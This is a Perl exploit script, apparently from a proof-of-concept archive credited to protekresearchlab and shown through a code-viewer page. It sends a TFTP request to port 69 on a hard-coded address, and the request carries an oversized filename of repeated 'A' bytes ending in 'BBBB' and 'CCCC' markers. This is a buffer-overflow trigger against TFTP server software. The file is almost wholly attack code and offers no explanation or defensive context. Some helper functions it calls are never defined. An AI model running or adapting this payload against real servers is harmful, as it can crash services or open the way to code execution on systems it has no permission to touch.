68 lines
No EOL
3.3 KiB
Perl
Executable file
68 lines
No EOL
3.3 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
|
|
## Source:
|
|
## http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=22&Itemid=22
|
|
|
|
use Getopt::Std;
|
|
use IO::Socket::INET;
|
|
|
|
$SIG{INT} = \&abort;
|
|
|
|
my $host = '192.168.100.24';
|
|
my $port = 69;
|
|
my $proto = 'udp';
|
|
my $sockType = SOCK_DGRAM;
|
|
my $timeout = 1;
|
|
|
|
|
|
my %opt;
|
|
my $opt_string = 'hH:P:t:';
|
|
getopts( "$opt_string", \%opt );
|
|
|
|
if (defined $opt{h}) {
|
|
usage()
|
|
}
|
|
|
|
|
|
my @commands = (
|
|
{Command => 'Send',
|
|
Data => "\x00\x01\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x00\x00"},
|
|
|
|
);
|
|
|
|
|
|
my $sock = new IO::Socket::INET (
|
|
PeerAddr => $host,
|
|
PeerPort => $port,
|
|
Proto => $proto,
|
|
Type => $sockType,
|
|
Timeout => $timeout,
|
|
)
|
|
or die "socket error: $!\n\n";
|
|
|
|
print "connected to: $host:$port\n";
|
|
|
|
$sock->autoflush(1);
|
|
binmode $sock;
|
|
|
|
|
|
|
|
foreach my $command (@commands)
|
|
{
|
|
if ($command->{'Command'} eq 'Receive')
|
|
{
|
|
my $buf = receive($sock, $timeout);
|
|
if (length $buf)
|
|
{
|
|
print "received: [$buf]\n";
|
|
}
|
|
}
|
|
elsif ($command->{'Command'} eq 'Send')
|
|
{
|
|
print "sending: [".$command->{'Data'}."]\n";
|
|
send ($sock, $command->{'Data'}, 0) or die "send failed, reason: $!\n";
|
|
}
|
|
}
|
|
|
|
|
|
close ($sock); |